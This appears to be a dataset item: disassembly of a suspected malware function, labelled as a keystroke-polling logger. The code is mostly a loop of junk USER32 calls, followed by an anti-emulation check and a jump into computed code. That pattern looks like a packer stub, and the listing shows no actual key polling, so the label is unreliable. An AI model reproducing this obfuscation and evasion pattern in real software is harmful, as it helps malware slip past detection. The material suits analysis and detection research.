Function at 0x401210
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 8], 0
mov dword [ebp - 4], 4
mov dword [0x43db34], 0
jmp 0x40123d
mov eax, dword [0x43db34]
add eax, 1
mov dword [0x43db34], eax
cmp dword [0x43db34], 0x29
jae 0x401394
mov dword [ebp - 0xc], 1
mov dword [ebp - 0x10], 1
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.USER32.dll_GetWindowDC]
movzx edx, byte [ebp - 0x10]
push edx
call dword [sym.imp.USER32.dll_IsCharLowerA]
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.USER32.dll_PaintDesktop]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.USER32.dll_IsWindow]
movzx edx, word [ebp - 0x10]
push edx
call dword [sym.imp.USER32.dll_IsCharAlphaW]
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.USER32.dll_PaintDesktop]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.USER32.dll_GetSysColor]
movzx ecx, word [ebp - 0x10]
push ecx
call dword [sym.imp.USER32.dll_IsCharLowerW]
movzx edx, byte [ebp - 0x10]
push edx
call dword [sym.imp.USER32.dll_VkKeyScanA]
movzx eax, word [ebp - 0xc]
push eax
call dword [sym.imp.USER32.dll_OemKeyScan]
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.USER32.dll_GetQueueStatus]
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.USER32.dll_ShowCaret]
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.USER32.dll_GetSysColorBrush]
movzx ecx, word [ebp - 0xc]
push ecx
call dword [sym.imp.USER32.dll_IsCharAlphaW]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.USER32.dll_GetSysColorBrush]
movzx eax, byte [ebp - 0xc]
push eax
call dword [sym.imp.USER32.dll_IsCharAlphaA]
movzx ecx, byte [ebp - 0x10]
push ecx
call dword [sym.imp.USER32.dll_IsCharAlphaNumericA]
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.USER32.dll_GetWindowDC]
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.USER32.dll_IsWindowEnabled]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.USER32.dll_GetThreadDesktop]
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.USER32.dll_GetSysColorBrush]
movzx ecx, byte [ebp - 0x10]
push ecx
call dword [sym.imp.USER32.dll_VkKeyScanA]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.USER32.dll_GetSysColorBrush]
movzx eax, byte [ebp - 0x10]
push eax
call dword [sym.imp.USER32.dll_IsCharUpperA]
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.USER32.dll_GetWindowContextHelpId]
movzx edx, byte [ebp - 0xc]
push edx
call dword [sym.imp.USER32.dll_VkKeyScanA]
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.USER32.dll_IsWindow]
jmp 0x401230
movzx ecx, byte [0x43c148]
push ecx
call dword [sym.imp.USER32.dll_IsCharAlphaNumericA]
movzx edx, byte [0x43c148]
push edx
call dword [sym.imp.USER32.dll_IsCharLowerA]
mov eax, dword [0x43c14c]
push eax
call dword [sym.imp.USER32.dll_OpenIcon]
mov ecx, dword [0x43c148]
push ecx
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov edx, dword [0x43c148]
push edx
call dword [sym.imp.USER32.dll_OpenIcon]
mov eax, dword [0x43c148]
push eax
call dword [sym.imp.USER32.dll_GetParent]
movzx ecx, byte [0x43c150]
push ecx
call dword [sym.imp.USER32.dll_IsCharAlphaA]
mov edx, dword [0x43c14c]
push edx
call dword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
movzx eax, word [0x43c148]
push eax
call dword [sym.imp.USER32.dll_IsCharUpperW]
mov ecx, dword [0x43c14c]
push ecx
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov edx, dword [0x43c14c]
push edx
call dword [sym.imp.USER32.dll_GetSysColor]
mov eax, dword [0x43c148]
push eax
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov ecx, dword [0x43c150]
push ecx
call dword [sym.imp.USER32.dll_GetMenuItemCount]
movzx edx, byte [0x43c14c]
push edx
call dword [sym.imp.USER32.dll_IsCharUpperA]
movzx eax, word [0x43c148]
push eax
call dword [sym.imp.USER32.dll_VkKeyScanW]
push str.EIkWWgEJMW
call dword [sym.imp.USER32.dll_LoadCursorFromFileW]
mov ecx, dword [0x43c150]
push ecx
call dword [sym.imp.USER32.dll_GetWindowDC]
mov edx, dword [0x43c148]
push edx
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov eax, dword [0x43c14c]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ecx, dword [0x43c148]
push ecx
call dword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
mov edx, dword [0x43c14c]
push edx
call dword [sym.imp.USER32.dll_GetMenuContextHelpId]
mov eax, dword [0x43c150]
push eax
call dword [sym.imp.USER32.dll_WindowFromDC]
movzx ecx, byte [0x43c148]
push ecx
call dword [sym.imp.USER32.dll_IsCharAlphaA]
mov edx, dword [0x43c148]
push edx
call dword [sym.imp.USER32.dll_GetParent]
mov eax, dword [0x43c148]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
movzx ecx, word [0x43c150]
push ecx
call dword [sym.imp.USER32.dll_IsCharUpperW]
mov edx, dword [0x43c14c]
push edx
call dword [sym.imp.USER32.dll_GetSysColorBrush]
mov eax, dword [0x43c14c]
push eax
call dword [sym.imp.USER32.dll_IsIconic]
mov ecx, dword [0x43c150]
push ecx
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
movzx edx, byte [0x43c148]
push edx
call dword [sym.imp.USER32.dll_IsCharAlphaA]
push 0x101c
call dword [sym.imp.GDI32.dll_RealizePalette]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 6
je 0x401537
xor eax, eax
jmp 0x401626
mov eax, ebp
mov ecx, dword [eax + 8]
mov dword [0x43c124], ecx
mov dword [0x43c10c], ebp
mov dword [0x43c118], 0
mov dword [0x43c11c], 0
cmp dword [ebp - 8], 0
je 0x40157b
call fcn.00401110
mov dword [0x43c128], eax
push 0x15
call fcn.004011f0
add esp, 4
mov dword [0x43c0f8], eax
mov eax, dword [sym.imp.USER32.dll_LoadIconA]
mov dword [0x43db50], eax
push 0x11d4
push 0
call dword [0x43db50]
test eax, eax
je 0x40159d
xor eax, eax
jmp 0x401626
call fcn.00403e30
mov dword [0x43c104], 0
mov ecx, dword [0x43db40]
mov edx, dword [0x43c120]
lea eax, [edx + ecx + 0x6c81c]
mov dword [0x43db54], eax
mov ecx, dword [0x43db54]
sub ecx, 0x6c81c
mov dword [0x43db54], ecx
mov edx, dword [0x43db54]
mov eax, dword [edx + 0x50]
mov dword [0x43db58], eax
call fcn.00401110
mov dword [0x43c128], eax
push 0x15
call fcn.004011f0
add esp, 4
mov dword [0x43db5c], eax
mov ecx, dword [0x43db5c]
mov dword [0x43c0f8], ecx
push 0x7e45
call fcn.00401640
add esp, 4
call fcn.00404240
mov esp, dword [0x43c10c]
jmp fcn.004041b0
mov esp, ebp
pop ebp
ret